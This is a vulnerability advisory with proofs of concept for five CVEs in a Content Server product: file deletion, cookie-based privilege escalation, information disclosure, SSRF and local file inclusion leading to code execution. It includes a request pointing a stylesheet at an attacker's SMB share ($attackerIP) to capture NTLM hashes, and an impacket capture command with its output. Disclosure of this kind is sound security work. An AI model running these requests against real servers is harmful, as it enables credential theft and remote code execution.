Business recommendation:
————————
The vendor provides a patch which should be installed immediately.

Vulnerability overview/description:
———————————–
1) Deletion of arbitrary files (CVE-2022-45924)
The endpoint `itemtemplate.createtemplate2` allows a low privilege user to
delete arbitrary files on the server’s local filesystem.

2) Privilege escalation due to logic error in cookie creation (CVE-2022-45922)
The request handler for a user accessible function sets a valid AdminPwd cookie
that allows access to unauthorized endpoints without knowing the password.

3) xmlExport multiple vulnerabilities (CVE-2022-45925)
3.1) Information disclosure
The action `xmlexport` accepts the parameter `requestContext`. If this
parameter is present, the response does include most of the `HTTP` headers sent
to the server and some of the `CGI` variables like `remote_addr` and
`server_name`.

3.2) Capture of NTLM hashes
The action `xmlexport` accepts the parameter `transform` in combination
with `stylesheet`. The `stylesheet` parameter can be a `nodeID` or a filepath.
If a filepath is specified, the `ContentServer` tries to open the file. As
absolute paths are allowed it is possible to provide a network share to force
the `ContentServer` to open a connection to the network share. This allows an
attacker to capture the `NTLM Hash` of the user running the `ContentServer`.

4) Evaluate webreports via notify.localizeEmailTemplate (CVE-2022-45926)
The endpoint `notify.localizeEmailTemplate` does allow a low privilege user to
evaluate webreports. This can be used to perform a `Server Side Request Forgery
(SSRF)` attack, with nearly full control of the actual request.

5) Local File Inclusion allows Oscript execution (CVE-2022-45928)
Multiple endpoints allow the user to pass the parameter `htmlFile`, which is
included in the `HTML` output rendering pipeline of the request. As the
`Content Server` evaluates and executes `Oscript` code in `HTML` files, it is
possible for an attacker to execute `Oscript` code. The `Oscript` scripting
language allows the attacker for example to manipulate files on the filesystem,
create new network connections or execute OS system commands.

Proof of concept:
—————–
1) Deletion of arbitrary files (CVE-2022-45924)
As a first step the user has to create a new `Customer View Template` object via
`/cs.exe?func=ll&objAction=create&objtype=844&nextURL=foo` to get a valid
`cacheID`. With the acquired `cacheID` the following request can be used to
delete a file. The parameter `DefinitionFile` controls which file should be
deleted.

——————————————————————————-

2) Privilege escalation due to logic error in cookie creation (CVE-2022-45922)
Sending the following request returns a new valid `AdminPwd` cookie.

3) xmlExport multiple vulnerabilities (CVE-2022-45925)
3.1) Information disclosure
Sending the following request reveals sensitive information about the
request:

——————————————————————————-

3.2) Capture of NTLM hashes
Sending the following request with a remote path as value for the
`stylesheet` parameter initiates a SMB connection to the attacker’s machine:

——————————————————————————-
GET /OTCS//cs.exe?func=ll&&objId=50469&objAction=xmlexport&transform=T&stylesheet=//$attackerIP/msg.txt
——————————————————————————-

——————————————————————————-
$ sudo impacket-smbserver test /tmp -smb2support

[*] AUTHENTICATE_MESSAGE (\,DESKTOP-XXX)
[*] User DESKTOP-XXX\ authenticated successfully
[*] :::00::aaaaaaaaaaaaaaaa

——————————————————————————-

Important side effect:

Specifying an existing file for the `stylesheet` parameter , which is not a
valid stylesheet, results in an error. As this error skips the cleanup code the
temporary file `$OTCS_HOME\temp\xml\XslOutput_[digit]_[digit]` is not removed.
The content of this file is partially controlled by the attacker, as it
contains the filename of the exported object. This could be further exploited
as documented in vulnerability 5).

——————————————————————————-
<?xml version=”1.0″ encoding=”UTF-8″?>

**OBJECT NAME**

4) Evaluate webreports via notify.localizeEmailTemplate (CVE-2022-45926)
Sending the following request with the webreport source in the `msgBody`
parameter allows the user to evaluate a webreport.

——————————————————————————-

——————————————————————————-

The tag `LL_WEBREPORT_RESTCLIENT` can be used to perform a
`Server Side Request Forgery (SSRF)` attack, with nearly full control of the
actual request.

——————————————————————————-
POST /OTCS/cs.exe HTTP/1.1

——————————————————————————-

Other dangerous tags could be `RUNSHELL`, `LL_FETCHURL` and `LL_WEBREPORT_CALL`

The tag `LL_WEBREPORT_RESTCLIENT` is disabled by default in version 22.1.

5) Local File Inclusion allows Oscript execution (CVE-2022-45928)
One way to create a file on the server’s filesystem with the desired `Oscript`
code, is to use the vulnerability `3.2` and its side effect:

* Create a file
* Set the filename to the `Oscript` code, which should be executed (e.g.:
“fArgs content: `.fArgs` “)
* Run the `xmlExport` action with an invalid `stylesheet` (should be done
multiple times to increase the hit change for the `LFI`)

The temporary file `XslOutput_2_3` has the following content:
——————————————————————————-
<?xml version=”1.0″ encoding=”UTF-8″?>

fArgs content: `.fArgs`
——————————————————————————-

To include the previously created file and execute its `Oscript` code, the
following request can be used.

——————————————————————————-
